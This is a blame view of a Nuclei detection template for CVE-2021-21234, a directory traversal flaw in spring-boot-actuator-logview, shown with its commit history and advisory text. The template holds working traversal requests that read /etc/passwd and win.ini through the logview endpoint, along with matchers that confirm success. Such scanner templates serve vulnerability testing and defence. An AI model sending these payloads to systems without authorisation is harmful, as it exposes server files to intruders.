daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2021/CVE-2021-21234.yaml

54 lines
2.1 KiB
YAML
Raw Normal View History

Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
id: CVE-2021-21234
info:
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements
2022-04-07 13:53:15 +00:00
name: Spring Boot Actuator Logview Directory Traversal
Update CVE-2021-21234.yaml
2021-08-24 07:47:25 +00:00
author: gy741,pikpikcu
Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
severity: high
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements
2022-04-07 13:53:15 +00:00
description: |
spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
Update CVE-2021-21234.yaml
2021-08-24 09:49:47 +00:00
reference:
Update CVE-2021-21234.yaml
2021-08-24 07:47:25 +00:00
- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
- https://github.com/cristianeph/vulnerability-actuator-log-viewer
Update CVE-2021-21234.yaml
2021-08-24 08:46:14 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com>
2022-05-17 09:18:12 +00:00
- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
cvss-score: 7.7
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
cve-id: CVE-2021-21234
cwe-id: CWE-22
Added EPSS Percentile
2023-08-31 11:46:18 +00:00
epss-score: 0.97064
Added CPE and EPSS Score to CVE Templates
2023-04-12 10:55:48 +00:00
cpe: cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:*
Added EPSS Percentile
2023-08-31 11:46:18 +00:00
epss-percentile: 0.99653
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 4
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: spring-boot-actuator-logview_project
product: spring-boot-actuator-logview
tags: cve,cve2021,springboot,lfi,actuator
Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
- method: GET
path:
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
Request: Fix CVE-2021-21234 (#3920) * Fixed CVE-2019-9670 * more strict matchers * Fix CVE-2021-21234 * more strict matcher Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-03-17 09:29:53 +00:00
stop-at-first-match: true
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
Update CVE-2021-21234.yaml
2021-08-24 08:46:14 +00:00
matchers-condition: or
Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
matchers:
Request: Fix CVE-2021-21234 (#3920) * Fixed CVE-2019-9670 * more strict matchers * Fix CVE-2021-21234 * more strict matcher Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-03-17 09:29:53 +00:00
- type: dsl
dsl:
Updated "/etc/passwd" regex to avoid possible false positive results.
2022-03-22 08:01:31 +00:00
- "regex('root:.*:0:0:', body)"
Request: Fix CVE-2021-21234 (#3920) * Fixed CVE-2019-9670 * more strict matchers * Fix CVE-2021-21234 * more strict matcher Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-03-17 09:29:53 +00:00
- "status_code == 200"
Update CVE-2021-21234.yaml
2021-08-24 08:46:14 +00:00
condition: and
Request: Fix CVE-2021-21234 (#3920) * Fixed CVE-2019-9670 * more strict matchers * Fix CVE-2021-21234 * more strict matcher Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-03-17 09:29:53 +00:00
- type: dsl
dsl:
- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements
2022-04-07 13:53:15 +00:00
condition: and